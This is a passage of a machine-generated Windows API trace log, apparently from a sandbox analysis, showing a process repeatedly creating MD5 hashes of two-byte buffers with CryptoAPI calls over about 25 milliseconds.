	[0115.678] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.678] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.678] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.678] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.678] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.678] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.679] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.679] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.679] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.679] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.679] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.679] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.679] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.679] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.679] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.679] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.679] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.679] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.679] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.680] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.680] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.680] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.680] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.680] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.680] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.680] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.680] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.680] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.680] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.680] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.680] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.680] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.680] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.681] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.681] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.681] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.681] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.681] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.681] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.681] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.681] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.681] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.681] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.681] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.681] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.681] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.681] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.682] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.682] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.682] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.682] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.682] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.682] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.682] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.682] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.682] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.682] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.682] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.682] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.683] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.683] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.683] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.683] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.683] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.683] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.683] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.683] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.683] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.683] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.683] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.683] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.684] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.684] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.693] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.693] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.694] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.694] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.694] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.694] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.694] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.694] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.694] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.694] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.694] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.694] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.694] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.694] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.694] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.694] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.695] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.695] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.695] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.695] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.695] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.695] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.695] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.695] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.695] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.695] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.695] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.695] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.695] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.695] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.695] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.696] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.696] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.696] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.696] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.696] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.696] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.696] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.696] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.696] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.696] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.696] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.696] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.696] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.697] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.697] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.697] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.697] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.697] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.697] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.697] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.697] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.697] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.697] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.697] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.697] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.697] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.697] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.697] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.697] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.697] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.698] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.698] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.698] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.698] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.698] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.698] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.698] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.698] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.698] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.698] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.698] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.698] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.698] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.698] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.699] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.699] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.699] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.699] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.699] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.699] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.699] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.699] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.699] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.699] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.699] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.700] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.700] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.700] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.700] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.700] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.700] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.700] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.700] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.701] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.701] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.701] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.701] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.701] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.701] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.701] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.701] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.701] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.701] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.701] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.701] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.701] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.701] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.702] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.702] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.702] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.702] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.702] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.702] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.702] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.702] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.702] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.702] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.702] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.702] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.702] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.703] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.703] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.703] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.703] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.703] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.703] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.703] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.703] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.703] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.703] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.703] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.703] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0115.703] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.703] CryptDestroyHash (hHash=0x24d790) returned 1
